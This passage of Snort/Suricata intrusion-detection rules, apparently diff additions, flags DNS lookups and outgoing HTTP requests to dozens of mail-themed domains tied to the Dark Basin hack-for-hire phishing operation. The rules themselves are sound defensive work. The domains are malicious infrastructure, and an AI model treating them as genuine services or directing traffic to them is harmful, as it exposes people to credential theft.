sid:1357443; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailannounceservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|mailannounceservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354851; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailannounceservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|mailannounceservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354852; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailannounceservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailannounceservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailannounceservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354853; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailapiservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|mailapiservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354711; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailapiservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|mailapiservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354712; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailapiservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailapiservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailapiservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354713; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailauthenticatorservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|18|mailauthenticatorservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354341; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailauthenticatorservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|18|mailauthenticatorservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354342; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailauthenticatorservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailauthenticatorservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailauthenticatorservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354343; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailauthorizationservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|18|mailauthorizationservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355101; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailauthorizationservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|18|mailauthorizationservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355102; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailauthorizationservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailauthorizationservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailauthorizationservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355103; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailauthservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|mailauthservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355111; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailauthservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|mailauthservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355112; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailauthservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailauthservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailauthservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355113; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailauthservice399.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|mailauthservice399|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354351; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailauthservice399.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|mailauthservice399|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354352; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailauthservice399.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailauthservice399.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailauthservice399\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354353; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailchimpservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|mailchimpservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354721; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailchimpservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|mailchimpservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354722; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailchimpservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailchimpservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailchimpservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354723; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailcollectorservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|mailcollectorservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354361; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailcollectorservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|mailcollectorservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354362; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailcollectorservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailcollectorservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailcollectorservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354363; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailcommunicationservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|18|mailcommunicationservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354591; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailcommunicationservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|18|mailcommunicationservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354592; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailcommunicationservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailcommunicationservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailcommunicationservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354593; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailcommute.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|mailcommute|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355181; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailcommute.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|mailcommute|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355182; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailcommute.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailcommute.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailcommute\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355183; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: maildeliveryagent.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|maildeliveryagent|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353381; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: maildeliveryagent.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|maildeliveryagent|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353382; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: maildeliveryagent.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"maildeliveryagent.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])maildeliveryagent\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353383; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailer-domain.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|mailer-domain|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353621; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailer-domain.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|mailer-domain|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353622; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailer-domain.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailer-domain.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailer\-domain\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353623; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailerdomain56.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|mailerdomain56|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353661; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailerdomain56.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|mailerdomain56|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353662; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailerdomain56.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailerdomain56.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailerdomain56\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353663; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailgatorservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|mailgatorservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354521; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailgatorservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|mailgatorservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354522; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailgatorservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailgatorservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailgatorservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354523; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailhostingsecurenet.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|mailhostingsecurenet|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354551; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailhostingsecurenet.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|mailhostingsecurenet|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354552; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailhostingsecurenet.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailhostingsecurenet.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailhostingsecurenet\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354553; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailingserver938.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|mailingserver938|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354431; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailingserver938.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|mailingserver938|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354432; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailingserver938.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailingserver938.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailingserver938\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354433; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: maillinkservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|maillinkservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354821; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: maillinkservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|maillinkservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354822; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: maillinkservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"maillinkservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])maillinkservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354823; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailmarknotes.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|mailmarknotes|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354501; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailmarknotes.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|mailmarknotes|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354502; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailmarknotes.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailmarknotes.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailmarknotes\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354503; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailmarkservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|mailmarkservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354581; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailmarkservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|mailmarkservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354582; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailmarkservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailmarkservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailmarkservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354583; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailpostsecure.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|mailpostsecure|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354691; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailpostsecure.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|mailpostsecure|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354692; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailpostsecure.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailpostsecure.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailpostsecure\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354693; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailpostsecureservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|mailpostsecureservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354651; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailpostsecureservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|mailpostsecureservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354652; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailpostsecureservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailpostsecureservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailpostsecureservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354653; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailrockservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|mailrockservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354601; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailrockservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|mailrockservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354602; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailrockservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailrockservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailrockservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354603; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailsecurehost.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|mailsecurehost|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354701; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailsecurehost.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|mailsecurehost|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354702; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailsecurehost.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailsecurehost.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailsecurehost\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354703; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailsecureservers.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|mailsecureservers|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355001; rev:1; priority:1; 